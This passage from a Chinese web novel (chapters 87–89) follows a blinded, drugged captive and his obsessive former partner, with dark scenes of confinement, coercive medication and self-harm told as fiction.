余赋秋空洞的望着漆黑的天花板,听着外面的人声鼎沸,甚至有人好奇地敲着门,但门被锁住了,他死死咬住下唇,不能发出一点声响。
他是真的后悔了。
现在的长庭知,和当初那群人有什么区别?
他最爱的那个少年。
终究是消失在无尽的虚空之中了。
作者有话说:
好,接下去小黑屋了。
第87章 第87章[VIP]
他在那次和沈昭铭见面之后被盛怒之下的长庭知带了回去, 左成双开始过来给他治疗,无意之中,他问左成双:“为什么长庭知没有和柯祈安在一起?”
如果在一起了, 他就不会被这个疯子缠上, 他起码是自由的,是有自己的人生,而不是和这个疯子强制绑定在一起。
“结婚?”左成双调试药剂的手顿了一下, “你为什么会认为长庭知和柯祈安会结婚?”
“……全世界都知道了。”余赋秋淡淡道:“你知道为什么我这么执着于沈昭铭吗?”
沈昭铭这三个字仿佛是他和长庭知之间的定时炸弹,只要他稍微一提起来,长庭知就会冷淡着打断他, 然后强迫他一遍又一遍做着那些恶心的事情, 当着沈昭铭照片的面。
“我当初在火灾中差点丧生,全身多处烧伤, 如果不是他, 我早就死了。”那双漂亮的眼眸低垂,也许是上天对他的惩罚,即便是在这种烧伤的情况下,他那张艳丽的脸却没有一丝一毫的损伤,“你知道在火灾的前一晚发生了什么吗, 我祈祷了很久很久, 那个晚上是我的小树时间, 他出现来了,但又在那一刻,柯祈安打来了电话, 他却还是抛下了我, 去拥抱柯祈安的时候。”
“还有我和春春在重症监护室的时候,他在和柯祈安开房……”他轻笑一声:“现在我还真是傻, 那时候就应该放手的。”
如果知道当初坚持去挽回长庭知的后果,是让自己和春春变得遍体鳞伤的程度,他就不会去坚持。
他就该相信主角受和主角攻就是天生一对。
他就是个bug。
他就是个世界上不该存在的存在。
他在说以前那些足以让他精神崩溃的事情,现如今却只是感到平淡如水,好似再在说今天的天气很好一般。
真是奇怪。
原来那么痛的过往,经过时间的洗礼之后,也变得如同路边普通的石头一般,如果不是刻意提及,余赋秋根本不会想起来分毫。
“当初他宣发了与你的离婚声明,”左成双静默了下:“然后你就在大火里失踪了,宝梨姐和他说你死了,宝梨姐想让沈昭铭带你走。”
“但庭知不信。”
他叹息一声:“我作为庭知的发小和医生,看着他从一个正常人变成一个精神病的模样,他会在微博一天隔着一天,转发你们以前的过往,说他错了,弄丢你了。”
“这种情况一直持续到宝梨姐找到他,我跟在宝梨姐的后面,一向以最完美姿态呈现在别人面前的庭知,他把自己关在你的房间里,酒瓶一瓶接着一瓶,他眼底乌青,嘴边都是胡茬,空气中都弥漫着很难闻的味道。”
“他对我和宝梨姐的闯入视而不见,只是紧抱着你的衣服,直到宝梨姐上前抢了你的衣服,他跟个疯子一样大喊大叫,甚至拿指甲划伤了宝梨姐的脸,但宝梨姐冷冷地打了他一巴掌,说:“今天春春醒了过来,他已经失去了母亲,你还要让他也失去父亲?你别指望我给你养孩子,如果你再继续下去,你就从这里跳下去,我立刻把他送去孤儿院。”
听到这里的余赋秋忽而抬起了脑袋,愣愣地看着左成双。
“那之后,庭知像是变回了以前的样子,又变成了大家眼中的长总,只有我知道,我给他开了一剂比一剂更重的药物,他患上了很严重的躁郁症。”
“然后某一天,整个互联网都炸开了,爆出了柯祈安所有的黑料,他不是柯家的亲生孩子,是被替换野孩子。”
“继而流露出了一段视频,视频的内容是……柯祈安和好几个流浪汉的视频。”
左成双皱了皱眉头,面露厌恶。
视频?
余赋秋一愣,他作为小说里面的主角受,是小太阳一般的存在,是娇生惯养的小少爷,过着衣来伸手饭来张口的生活,自小在海外长大,高中才回国,他的成长经历应该是幸福美满的,怎么会是……
“不单单如此,他在海外的履历也很丰富。”
“从小学就霸凌别人,初中开始吸粉,甚至卖粉,强迫别人一起,私生活极为紊乱,才高中就开很多的多人聚会,据说是被举报到连柯家都无法保护他的地步,这才不得不回了国。”
“……”
余赋秋沉默了下来。
左成双见他不信,叹了口气,给他看了一个视频。
视频中的柯祈安被狠狠按捺在了地上,他身形枯瘦,脸色蜡黄发灰,和余赋秋记忆中的娇笑可人形成了强烈地反差,眼窝深深地凹陷了进去,眼白浑浊发黄,身上有很明显被殴打的痕迹,手臂上密密麻麻都是针孔,而他的身边搜出了一堆吸的工具。
他恶狠狠地盯着周围,忽然对着天空大喊:“我才是这个世界的主角受!任何想要和我抢的人都不得好死!”
“我怀了他的孩子,你们谁敢动我!他不会放过你们的,把你们的脏手拿开!你们这群畜生,我可是未来的影帝,你们有什么资格碰我!保安呢!保安干什么!死了吗!”
他的头发油腻凌乱,皮肤粗糙松弛,布满细小丘疹和针孔痕迹,整个人透着一股病态的干瘪,镜头往下,可以看见他微微隆起的小腹。
也许是对于演员这个职业的执念,他对于镜头还是很敏感,他对着镜头萧索了下身子,忽然是看到了谁,整个人抖索得如同筛子,然后他披头散发地,不知道哪里来的力气,挣脱了警察的束缚,大步朝着镜头走。
那张可怖的脸倏然出现在镜头面前,左成双都被吓了一跳,但余赋秋只是面无表情地看着镜头那张脸,他知道,柯祈安这是在看他。
他对着镜头默念出余赋秋三个字,然后大笑了起来:“你争不过我的,我才是主角受,你只是个劣质的玩意儿,你只不过是我的替代品。”
“你以为你儿子和你变成如今这样,都是我干的?”他的眼睛紧紧贴着镜头,“你以为,你来到这个世界,真的是偶然?”
“你以为你在精神病院被拍卖,然后被拯救,都是偶然?”
他笑嘻嘻道:“别太天真了,你最后下场会沦落比我还惨。”
那双酷似余赋秋的眉目轻轻弯了起来:“我在地狱,等你。”
左成双蹙着眉头,关掉了视频。
“柯祈安被证实吸了,被发现的时候,已经戒不掉了,倒不如说是复发,从高中就染上了,回国的时候还在吸,胡言乱语,什么主角,什么世界。”
“原本他的判处是死刑,但是他怀着孩子,即便是一个畸形的孩子,只要没打掉,都不可以对他动用死刑。”
“所以现在他在精神病院进行治疗,上次有粉丝偷偷潜入进去,看见了他的近况,毒瘾复发,拿着剪刀把自己扎的全身都是血骷髅,然后看见粉丝,他还咧嘴一笑,嘴里似乎还咬着什么东西。”
“关于你的澄清,庭知找了很多的证据,全都还清你的清白了……”
“不。”
余赋秋忽然打断他,神色冷漠,“有一件事情,他做的是真的。”
“什么?”
余赋秋对他微微一笑:“我的确是个黑户,我已经没有身份了。”
“所以,我到底是谁呢?”
……
黑夜下着暴雨的树林之中,长庭知抱着眼神涣散的余赋秋,止不住地低头吻他的乌发,“外面很冷是不是?”
“都瞎了,还瘸了一条腿,还能在黑夜之中跑这么久,宝宝,你真的是很有毅力呢。”
“就这么想离开我?”
长庭知掰过他的下颚,神色冷漠,仿佛前面发疯的不是他一样。
“……”
下着大雨,在森林里跑了起码一夜的余赋秋,嘴唇冻得青紫,他哆嗦着嘴唇,眼前一片黑暗,颤抖着呼吸,他没有说话。
其实,在他被长庭知带回去的那段时间,长庭知对他无法掩藏的爱意和记忆中的庭知越来越重合,他本以为他们是不是可以和以前一样,他的庭知是不是要回来了。
可是……
长庭知伤害了沈昭铭,甚至将他强.暴,揭穿了这一切虚伪的表面,捅破了他们本就岌岌可危的和谐。
他无数次说过,他希望的爱恋是自由的,是彼此得到尊重的,是可以考虑他的感受,他的意见的,而不是一次又一次的暴行,一次又一次的威胁。
他明明都放弃了,明明都认命了,明明都将长庭知拱手让给柯祈安了。
他都逃去海外了,都忘却了一切。
为什么长庭知要纠缠他不放?
当初是他先放弃他的,不是吗?
好累,真的好累。
余赋秋疲倦地闭上了眼睛,哆嗦着青紫的嘴唇和毫无知觉的残肢。
他不想再经历那些了,谁知道下一次是不是又会出现一个吴祈安,林祈安?
他都忘记一切,遇到了自己可以交付一生的人。
长庭知破坏了他的婚礼现场,将他如同宠物一样关起来,开心了就溜出来溜溜,不开心了就一直锁着。
想起那满屋子的摄像头,他就忍不住一阵反胃。
好恶心,真的好恶心。
眼泪止不住地留下来。
他的脑海中浮现出穿着白衣服的少年,在成人礼上,拿着一束漂亮的栀子花,脸上的笑容比太阳还要耀眼和纯洁,他说:“球球,今天我成年了。”
“我的第一个承诺是对你的。”
“我永远不会抛弃你。”
“所以,你再等等我,我很快就可以与你并肩。”
那是长庭知第一次没有叫他爸爸,他养了十一年的孩子,长大了。
恍惚间,余赋秋抬起头。
不知道什么时候,长庭知已经比他高一个头了。
作者有话说:
接第一章
想多写点,但下班就十一点了QAQ
哎,等我休息那天多写一点,哭哭。
第88章 第88章[VIP]
“余先生, 您……听长先生的话吧,对他对你都好。”
张秘书站在房间的外面,房间的门被凿开了一个小口, 被用来送饭和查看余赋秋的状态。
“……”
余赋秋蜷缩着, 他在逃了一天之后,再次被抓了回来。
只是这回应该是换了个地方。
他看不见,凭着四肢去摸索, 和前面关着他的房间不一样。
他抬起那双毫无焦点的眸子,望着门,“他给我安装哪里了?”
“什么?”
张秘书一愣。
“他在我身上装了定位, 原来原来……”
他讥讽地笑了笑:“我说他怎么会好心的同意我出去, 原来是在我身上安了定位。”
长庭知怎么可能真的这么好心让他出去?哪怕是在重重的监视之下,那个男人也依旧病态的要掌控一切。
这个想法一旦滋生, 便在极度的恐惧和长期的压抑之下, 疯狂地生长。
他没有继续说话,而是伸出指尖,摸向耳朵后疼痛的地方。
房间内光线太暗,张秘书没察觉到余赋秋的异样,他苦口婆心地劝说道:“余先生……长先生他是……爱您的, 在过去两年, 他很煎熬, 您多爱他一些,您也会少受些苦……”
余赋秋没说话。
他去爱长庭知。
谁来爱他啊?
他去拯救长庭知。
那么谁来拯救他?
他不想和长庭知生活了,好聚好散, 一辈子都不要再有任何交集了。
可是只是这样的愿望。
都是让他无比奢望的。
张秘书没等到余赋秋的回答, 他叹了口气,明明当初两个人是那么恩爱, 是让所有人都羡慕的爱侣,怎么会变得如今这般模样?
余赋秋更加急切的摸索,用指甲用力地抠着那些他认为犯着疼痛的皮肤,从脖颈到锁骨,从前胸到腰腹,指甲划过皮肤,留下痕迹。
“这里……是不是在这里……”
他喃喃自语,眼神涣散,焦点无法集中。
身上骤然传来剧痛,温热的液体汩汩流出,他以为就在那里,用尽全身的力气,狠狠地掐了进去!
献血的黏腻感和铁锈味刺激着他的神经——看!这里有东西,挖出血了!
这个感知刺激了他,也让他陷入了更深的偏执和恐慌,一个不够,不够不够不够!!
肯定还有很多!
否则长庭知怎么会找到他,肯定在他全身到处都安装了定位器。
他颤抖着,又摸索到手臂内侧另一处刺痛点,再次用指甲狠狠地抠挖下去,皮肉翻卷,新的伤口出现,鲜血淋漓,但余赋秋仍然不满足,继续扣着。
“出来……都给我出来……滚出我的身体。”他一边用指甲撕扯着裸露在外的皮肉,一边发出破碎的嘶吼。
他仿佛感觉不到这是在自残,只是在清楚污秽,是在反抗长庭知在他身上留下的印记,他的脸色因为失血和剧痛而惨白如纸,呼吸急促而浅薄,眼前依旧是一片黑暗。
张秘书察觉到不对,但大门被锁死,只有长庭知有钥匙。
房门被猛然撞开,急促的脚步声和惊骇的抽气声传来时候,余赋秋已经瘫坐在一片血迹之中,他身上刚换的家居服被血染的猩红。
他的一只手还无意识地抠着大腿上的疼痛点,指尖沾染粘稠的血液。
他抬起头,无神的眼睛望着声音的来源,那里面映不出任何人的身影,只有一片无尽的黑暗。
他翕动着沾血的嘴唇,声音微弱得几乎听不见,他缓缓露出一个笑容,对着门口说道:“我找到它们了,我把它们都挖出来了,昭铭,带我走,他不会找到我们了。”
他对着门口伸出双臂,那是一个请求拥抱的姿态:“快快快,带我走,不然他就来了……”
他的血肉还挂在指尖,立在门口的张秘书瞳孔皱缩,他几乎是生理性的干呕。
但长庭知却没有丝毫犹豫,大步跨上去,跪下来把余赋秋死死抱在怀里。
“长庭知。”
余赋秋闻到这个气息,几乎是惊恐地大喊,他用力的捶打长庭知的背部,“放开我!!”
“放开我!!!”
“你,你不要对他们下手,不要为难他们。”他的嘴唇微微颤抖着,忽然想起来如果自己不乖,长庭知会更加残忍对他。
“我……我……”
“是我不好,球球,是我不好。”
长庭知紧紧抱着他,亲吻着他凌乱的长发,“是我做的不好,就不该让你想起一切。”
“我没有安装定位器,球球。”
他的心脏仿佛被一只大手紧紧攥着,呼吸不上来,但他怎么也不肯放手,任由余赋秋的血液浸染了他的语气,“一切都忘记,我们重新开始好不好?”
“我没有想到,到了一个新的环境,你还是想起来那一切不好的过往,全是我的错。”
他把余赋秋的指尖抵在自己的心口,额头抵着他的额头。
“球球,我不怪你,外面下着雨,这么冷,没照顾好你是我的错。”
“还好,还好你被我找到了。”
他满目含情,亲吻着余赋秋的额头,一路往下,舌尖卷起余赋秋的血,血腥味在口腔里蔓延开来,他却丝毫没有介意,继续往下亲到他的唇角。
“滚开!你不要碰我!”
余赋秋别过头,躲开令他反胃的亲吻。
“我只要接触你,我就觉得恶心!!别拿你碰过别人的东西来碰我!我嫌脏!”
“你到底为什么要这么对我!我到底做错了什么?”
“你喜欢柯祈安,我认命了,我把你让给他了,我爱的他早就死了,连春春我都不要了,当初先发表离婚声明的不是你吗!”
“你的东西我一丝一毫都不会要!”
“我都死里逃生了,我都到地球另外一头了,我都差点要开始新的人生了,我一辈子都不会再和你有任何交集了!你为什么就是不肯放过我?”
“我只是曾经救了你,曾经爱过你,曾经最大的愿望就是有一个自己的家,有一个人陪伴我就好了,这是我的愿望。”
“但我已经付出足够的代价了,我什么都没了!”
“我的眼睛!!”他指着自己的眼睛:“都是因为你!你为什么还要剥夺我看世界的权利?!”
张秘书忍不住,想要出声:“余先生,您的失明不是……”
长庭知摇了摇头,这时候,医生的电话来了,他只得出去把医生带过来。
“……我后悔了,长庭知。”
余赋秋忽然轻声道。
长庭知抱着他的身躯一僵。
———一个强.奸犯的孩子,谁知道长大后能干些什么。
———就他啊,舔着脸来妈妈家,然后被赶出去。
———虽然年纪小,但这张脸这漂亮啊。
———嘿,这一夜拍下来不知道怎么样啊。
———一个连初中学历都没有的人,怎么配和长庭知在一起啊?
———谁知道他抓住了什么把柄,可能就是那张脸吧,他除了这张脸还有什么?
———你这样的人,本来就不该出现在这世界上!
是,我就不应该出生,我是被妈妈强.奸的产物,骨子里流的都是肮脏的血。
———好恶心啊,真的太恶心了,你这样鸠占鹊巢的人,会自食恶果的。
———你就不该贪心,主角攻永远是主角受的,你是要被消除的错误。
是,我贪心了,我不应该贪心的,我后悔了。
“我错了……”
泪水盈满了余赋秋的眼睛,他喃喃道:“我真的错了……”
长庭知慢慢低下头,想要亲吻那双哭泣的泪水。
却听到他的话,身体骤然一僵,在这个瞬间,连心跳都停止了。
“我错了。”
“我不应该贪心的,我不应该在十七年前把你捡回来的,我不该想取代柯祈安的位置,对不起,对不起……”
“我赎罪了,我也认错了,他们说的对,我就是没有人要的,我出生就是个错误。”
“他们说的对,我这样的人,怎么配有家呢 ,我应该远离你的。”
“闭嘴——!”
长庭知青筋暴起,“不许说这个!你不许说后悔!”
“你说过你不会不要我的。”
“求你了,放过我,我真的后悔了,我知道错了,我死了是不是就可以赎罪了?”
“赎罪?”长庭知摇头:“你没有罪,你出生是正确的,你不能后悔,你不许后悔!!!”
“我说过我不会抛下你的,你也不许后悔,也没有后悔的余地了。”
余赋秋缓缓地摇了摇头:“我很早就说过了,我不爱你了,求求你……放过我……”
“不、可、能。”
长庭知咬牙切齿道:“这辈子,我们就注定要纠缠在一起。”
“你是我的,哪儿也别想去,谁想分开我们谁就该死。”
“……那让我死吧,让我解脱。”
余赋秋的脑袋发出阵阵的眩晕,在脚踝的锁链发出阵阵声响,在寂静的房间里格外清晰。
“你舍不得的,还有春春。”
“你舍得放下春春?”
余赋秋身型一顿,紧紧咬着自己的下唇,手指又要抠着自己的伤口。
“快!镇定剂!”
张秘书带着医生快步走了过来,将镇定剂扎入余赋秋的体内。
余赋秋近乎自残的行为这才停住了下来,那双眼睛慢慢地闭上了,身体软在长庭知的怀中。
整个房间只剩下凝重的血腥味和急促的喘息,还有长庭知那阴冷着酝酿着风暴的眼睛。
……
余赋秋醒来的时候,他一动,手上传来的疼痛让他顿住了,冰冷的点滴打进他的身体里面。
鼻尖传来他们以前惯用的味道,单单是躺在床上,他就知道,他被长庭知带回了他们之前的家。
但这个家也已经不是原来的家了。
原来的那栋房子已经被大火所吞噬了,长庭知把这个建立起来,即便是一模一样,也是在自欺欺人罢了。
他自己硬生生扣下来的伤痕被贴上了纱布,有的地方甚至起了血痂,痒痒的。
他的手腕留下了一圈深深的红色印子,长庭知为了不让他伤害到自己,在他的手腕上缠绕上了柔软的丝绸。
余赋秋看不见,他忘了自己是怎么失明的,只记得自己被长庭知抓回去后,在某一个白天醒来后,再也看不见了。
寂静偌大的房间之中,只能听到细微的水滴声,由远及近,规律的起伏着,似乎在围绕着他转,每响一声,余赋秋脑海中紧绷的神经就断裂一根。
他本就岌岌可危的理智在崩塌的边缘摇摇欲坠。
时间过了多久,余赋秋不知道。
他只是静静地睁着眸子,眼神毫无焦点,小腿以一种扭曲的弧度弯折,打上了石膏,他根本无法挪动半分,除了胸膛的起伏,他面色苍白,没有一丝活人的气息。
——他好像就是个活死人。
他还要靠这种样子苟活于世?
他忽然想起了妈妈。
他的妈妈本该是明媚、前途光明的大小姐,却被人贩子卖去山村,沦为了一个生育的机器,在他出生之前,他的妈妈已经被殴打流产了好几次,还是神婆说如果这次在流产,妈妈将再也不能怀孕。
一个不能怀孕的女人是没有价值的,在他们那种落后的小山村。
所以他出生了。
妈妈的处境只是好了一点,但她依然会被酿酒的父亲殴打,被扔进猪圈反省。
那一次妈妈逃到了镇上,但因为他,妈妈又放弃了那次求生的机会。
如果不是他,妈妈是不是就不会这么难过了?
被抓回来的妈妈被狠狠殴打,他透着门缝,看着只有胸膛起伏的母亲,母亲无神的眼睛对上了他的视线。
他永远忘不了那一幕。
那时候的妈妈在想什么呢?
是不是后悔他的出生?
就像现在这样。
他后悔长春春的出生吗?
余赋秋想是有一点的,如果不是他的坚持,是不是柯祈安就不会对春春下手,春春就不会一直坐在轮椅上?
如果他死了,春春会幸福吗?
这个问题摆在了他的面前。
他妈妈死了,他会高兴吗,妈妈在那种情况下,为什么不会选择去死来解脱自己?
余赋秋的心脏微微动了起来。
——是为了保护他。
她如果死了,那么下一个遭到虐待的,毫无疑问是没有任何自保能力的余赋秋。
他的妈妈,还是爱着他。
余赋秋的手指微微蜷缩了起来。
不,不。
他不能死,死了就没有任何的希望了。
春春才九岁,他还有很多未知的未来。
余赋秋听着滴答的声音,把手上的针头拔了出去,起身的一瞬间,眩晕感接踵而至,他跌坐在地上缓了很久,他的手掌放在心口的位置,喘了很久的气才慢慢地回过神。
他的心脏不知道还能撑多久,他又能陪春春多久?
他闭着眼睛,慢慢地坐了起来,身下是柔软的地毯,才没有让他受伤,他摸索着往前走。
无尽的黑暗之中,只能听到水滴的滴答声和他自己的呼吸声,他的身体再轻轻地颤抖。
他很怕黑暗,所以每次睡觉的时候,都会开一盏小夜灯。
房间很大,在他触碰到冰凉触感的时候,他就知道了全貌。
这正是那个鸟笼。
但现在鸟笼被扩建了起来。
他走不出去。
余赋秋紧紧抓着金属栏杆,身体无力地滑落到了地上。
难怪,长庭知没有给他用链子了。
他已经被困住了。
何必再多此一举呢。
他到底要怎么做,才能离开这个疯子。
……
门被推开了,余赋秋一惊,抬起头来,“你们是谁!”
“成双呢?!”
“你们把他怎么样了?!”
他之所以能逃出来,全是左成双的帮忙,左成双看着日益消瘦下去的余赋秋,知道不能再这样下去了,他劝不了长庭知,只能给余赋秋另开一条生路。
他瞒过长庭知,在森林外的那条河对面,有人接应他。
可只差一条河的距离,他被长庭知找到了。
明明只差一点,只差一点……
那些人没有说话,虽然余赋秋的眼睛看不到了,但是其他的感官却异常的敏感,他起身就要跑。
可是打了石膏,已经多天没有进食的他,而且还冒雨在森林跑了一天一夜的他怎么可能是这些人的对手。
所以他被按在了地上。
这时候,为首的人说话了,“长先生说了,如果您想要左医生活着,那么就要听话。”
听话。
又是这两个字。
他被卖进精神病院,被当作商品拍卖。
那么多人告诉他要听话。
不听话只会找来更加严厉的殴打甚至是电击。
余赋秋身子一僵,嘶哑着声音说:“……他还好吗?”
“只要您听话,一切都很好。”
余赋秋不说话,却全身卸去了力气。
那人知道他妥协了,眼神带怜悯,“余先生,我们去接受治疗。”
治疗?
他还能怎么被治疗?
变得更加听话?
他被带去了另一个房间,这个房间一进去就有一股湿冷,让余赋秋哆嗦了两声,他被架着来到了一个手术椅子上,他的四肢被紧紧禁锢着,他心中忽然涌现出一股不好的预感:“你们……到底要对我做什么!”
“放开我,我要见长庭知。”
他冷冷地说,“我要和他谈谈!”
却无人回应他,他更加剧烈地挣扎起来。
下一秒,手臂上传来剧痛。
他颤抖着萧索了一下,鼻尖弥漫着浓重的药物气息。
“这是什么。”
“这是什么——!”
“你们给我打什么?!”
“这是犯法的!”
余赋秋的神情越来越癫狂,那人的动作却未停,只是在下一针打入的时候,给他来了一剂镇静剂。
余赋秋的手垂落了下去。
旁边按住他的人看见医生的动作,拧着眉头:“这种药物神智清醒的时候效果是最好的,你这……”
医生拿着被打歪的针头冷冷凝视着那人:“前提得打进去,况且……”
他看着那张艳丽还带着泪痕的脸:“你忍心看他这副模样,还能打进去吗?”
一剂又一剂的针管被扔在地上,手臂上密密麻麻都是青紫的针孔。
直到最后一剂针管打入他的身体中。
“球球呢?”
在门被缓缓打开后,站在门外的长庭知面色淡然,但指甲抠入掌心,抠的血肉模糊。
“再打几个疗程,你就可以得到你想要的了。”
那个医生把针头扔在了地上,“你不要再后悔了,世界上没有后悔药。”
长庭知走了进去,将沉睡的余赋秋抱进自己的怀着,低声喃喃道:“不会。”
“只要他满脑子都是我,即便我是不是那个长庭知,又有什么关系呢。”
“他是爱我的。”
“只是他忘记了而已。”
等他重新想起他们相爱的一切,余赋秋一定会原谅他的。
长庭知想着。
将自己不愿去想的另一面掩藏了起来。
第89章 第89章[VIP]
余赋秋的脑袋被搅碎成了碎片, 模糊不已。
他不记得时间过了多久。
他看不见,也不知道时间,也不知道外面是白天还是黑夜。
他只知道, 门一打开, 他又要进入那间房子,又要日复一日的进行治疗。
起初,他在药物和身体极度虚弱下面, 大部分时间处于昏睡和浑浑噩噩的状态,醒来的时候,眼前还是一片黑暗, 这加深了他的无力感, 身体的疼痛时刻提醒着他那场近乎疯狂的自毁。
精神上的迷茫让他更加却难以思考,但那一些激烈的恨意和清晰的记忆, 仿佛也被药物稀释、隔开, 变得模糊的遥远。
从某一天开始,他不再需要进入那间房间了。
不再是冰冷的地下鸟笼,而是带着暖意的阳光。
长庭知也没有再给他扣上链子了。
长庭知几乎寸步不离,他亲自看着余赋秋一次次接受治疗,从剧烈的挣扎到现在乖巧听话。
在药物的作用下, 余赋秋的意识不再像之前那样清晰了, 他很难在维持那种恨意, 黑暗剥夺了他的视觉,药物钝化了他的思维。
他对周围的一切感到混乱和恐惧,像是刚出生的鸟儿, 对世界充满了恐惧。
陌生的声音、突如其来的触动甚至是寂静本身, 都可能引发他无意识的惊跳或者颤抖。
他开始表现出一种矛盾的状态,当长庭知靠近的时候, 他的身体会下意识地僵硬,微微后缩着,呼吸变得急促。
但长庭知离开很久的时候,他又会表现出不安,甚至无意识地倾听,仿佛在等着长庭知归来。
长庭知打开房间,这个房间很漂亮,面朝大海,春暖花开,甚至能听见海浪拍打岸边的声音。
他慢慢地走过去,看见了蜷缩在角落里的余赋秋。
余赋秋身体颤抖着,似乎感知到了人来了,更加往角落里缩了缩,随着长庭知的靠近,他拼命地摇头:“我,我好了。”
“我真的好了。”
“别……别再给我打……”
长庭知伸手,强硬地把余赋秋抱在怀里。
余赋秋闻到这个味道,挣扎的动作慢了些,耳边响起医生的话:“只要你听话,长先生会疼你的。”
“如果不乖,你又要再次回到这里了。”
这个话和精神病电击他的人声音重叠在一起,唤醒了他骨子里最恐惧的存在。
他必须要听话。
不听话妈妈不会来看他的。
不听话他又会被打。
不可以。
他好害怕。
真的好害怕。
“我……我…”
余赋秋颤巍巍地伸出手,去拥抱长庭知的脖子,“我听话的,不要不要再打我了,好不好?”
“我是谁?”
长庭知的声音温柔而低沉,他低下头,看着窝在怀中明明害怕的不行,但又不得不强硬抬起头窝在他心口处的余赋秋。
“你是,你是……长庭知…”
余赋秋小声说。
“嗯,还有呢?”
“我还是?告诉我球球。”
球球这个名字让他一愣,记忆中那么喊他的只有那个人。
那个人将他从精神病院拯救出来。
“小……小树。”
“是我。”
“你要乖,要陪在我身边,不能再让我听见你要离开我的话,好吗?”
“我……”
余赋秋心头涌现出一阵反抗,他低下头,咬着唇没说话。
长庭知叹了口气,面露失望。
“那继续治疗吧。”
“什.!不要不要!”
“小树,你别走,不要…我不要……”
周围独属于长庭知的气息逐渐消失,随之而来是熟悉的门锁打开声,还有凝重的药味道。
余赋秋彻底明白了,他不可以反抗,他如果不听话就会永远送去治疗。
他难道还会再次被送去拍卖吗?
不,不行。
他不要。
在长期这样的环境下,余赋秋甚至开始期盼长庭知的到来。
再次听到长庭知的那个问题,他说:“我是谁?”
余赋秋讨好地扬起脑袋,亲吻着他的喉结,等着索吻,这是他们以前最经常用的一个动作。
“是我的小树,是我的。”
他拉着长庭知的衣角,双眼含泪,眼尾泛红地哀求着长庭知:“小树,别,别离开我好不好?”
“我害怕一个人。”
“我,我会很听话的,会乖,会一直呆在小树的身边。”
长庭知摸着他打了石膏的小腿,眼神晦暗不明,“这才乖,这才是我的球球。”
“所以,你告诉我你不会再去见他。”
“他,他是谁?”
余赋秋涣散的眼神看着长庭知,笨重大脑缓慢接受他的问题,他是谁?
长庭知看了他很久,才缓缓说出沈昭铭三个字。
也许是对于治疗的恐惧压倒了一切,余赋秋面露惊慌,紧抓着长庭知的衣角,拼命地摇头:“我,我不知道他是谁!”
“别送我去,去精神病院,我会乖,我也不要打针。”
“求你了……我错了……我不认识他”
“我不会再跑的,别,别打我……”
“呜——小树,你在哪里,你在哪里,我好害怕。”
长庭知这才心满意足的勾了勾唇角,“他们都要害你,只有我的身边才是最安全的。”
……
在清晨,固定的时间,长庭知会端着温水和分装好的药片,坐到床边,甚至不用他出声,床上的余赋秋可以通过脚步和空气中莫名的压迫感感知到他的到来,他的眼睛望着长庭知。
手指无意识地蜷缩起来。
他很乖,在知道长庭知来的时候,会扬起头,乖巧地送上自己的唇,交换一个绵长的吻。
这是长庭知告诉他的,他要执行的命令。
长庭知将水杯轻轻碰了碰他的嘴唇,余赋秋顿了一秒,顺从的张开嘴,眼神茫然,含入药片,再喂水。
“苦不苦?要不要吃糖果?”
长庭知的指尖轻轻擦拭着他的唇角。
余赋秋却茫然睁大了眼睛,他小心翼翼地问:“我……我要说苦吗?我可以吃糖果吗?”
长庭知一顿,“这药……你吃起来什么感觉?”
他们最相爱的那年,余赋秋会撒娇对长庭知说太苦了,要吃一个糖果,然后含着糖,再把糖果送入长庭知的口中,彼此亲吻着。
“我……”余赋秋不知道正确的答案,这个长庭知没有教过他,他又怕自己说错了话,他紧抓着长庭知的衣角:“我,我尝不出来味道。”
他前几天开始就尝不出任何味道了。
任何食物在他口中味同嚼蜡。
可他不敢说。
他怕说了自己又要去接受治疗。
长庭知愣愣地看着面前讨好自己,甚至有一丝丝恐惧的余赋秋,心头一堵。
他放下水杯,动作有些重,余赋秋被这个细微的声音惊得肩头一颤,小声尖叫了一下,又无措的仰头,想要去亲吻长庭知的唇。
他潜意识里认为这个动作可以平息长庭知的怒火,长庭知不生气了,他就可以不去治疗了。
但长庭知只是停住了,他伸出手,指尖轻轻抚摸过余赋秋苍白消瘦的脸颊,长庭知轻声呼喊了一声他的名字,但余赋秋只是茫然地睁着眼睛,没有一丝一毫的反映,眼睫毛轻轻颤抖着。
长庭知这才发现这段时间他总觉得太过于异常的点在哪里了。
——太安静了。
面前的余赋秋乖巧地仰起头,他看不见,耳边也嗡嗡作响,不知道长庭知在叫谁,大脑在缓慢地接收着外来的消息。
他想要去抓住冥冥中的东西。
但是他抓不住。
良久,空气中没有一丝一毫的动静,只有那根指尖在抚摸着他的肌肤,余赋秋颤抖道:“对,对不起……”
他又怯生生地扬起脑袋去亲吻长庭知,但怎么也敲不开那张唇,他急得满脸泪痕:“别,别抛下我,别把我关进去,不要留我一个人在这个黑暗的地方,我害怕,我害怕。”
“我错了,我错了,我会乖的,庭知,你别离开我。”
这不是他想要的余赋秋。
融合了长庭知所有记忆的他,是想要记忆里那种深爱他的模样、鲜活的余赋秋,而不是现在。
他想要的,是那个完整的、会爱也会恨的余赋秋,哪怕爱的部分也许已经消失了,哪怕只剩下恨也好,起码那是属于余赋秋的情感,而不是眼前这个因为药物和恐惧而被驯化得只剩下生物性反应如同机器一样的人。
长庭知垂眸,看着讨好自己的人,他看见了那白皙肌肤上的针孔,还有以前在精神病院被虐待而留下的痕迹,像一盆冰水,浇灭了下来。
他沉默着,抱起了余赋秋。
余赋秋以为他要把自己带去治疗,抖得更厉害了,瞪大无神的双眼,“我,我做错了什么,我,我不想去治疗。求求你了……”
“对不起对不起对不起,我不会再逃跑了……我……”
心中陡然升起一股他从未体现过的茫然感,他艰涩地滚动着喉头,“不,不去治疗。”
“球球好了,不会再去治疗了。”
长庭知陷入了自己制造的悖论和僵局,他既无法忍受余赋秋的激烈反抗和逃离,也无法满足眼下这种空洞的顺从。
……
余赋秋梦见了他和长庭知的初遇。
他恍惚一瞬,周围的时空和时间都在不停地变化,他看见了自己孤独地站在小巷子中,周围是深不见底的漆黑。
梦中的视角在不停的切换、拉近。
他看见一个很瘦弱的孩子蜷缩在垃圾堆里面,他有一张过分漂亮的脸蛋,雨水和泥浆糊在上面——
是年幼的长庭知。
余赋秋看见自己站在黑暗中,久久地凝视着那张脸,然后一步一步,从阴影之中,踩过泥泞的浆水,踏过雨水的飞溅,来到了少年的身边。
他知道自己已经认出了那是小说中的主角攻。
余赋秋凝视很久,像是做出了什么决定,脱下自己的外套,小心翼翼地包住长庭知,七岁的长庭知很瘦,抱在怀里的重量和一片羽毛似的。
余赋秋听见自己小声说:“那以后,你跟着我吧。”
——这样,我们都有家了。
——彼此搀扶着走下去也好。
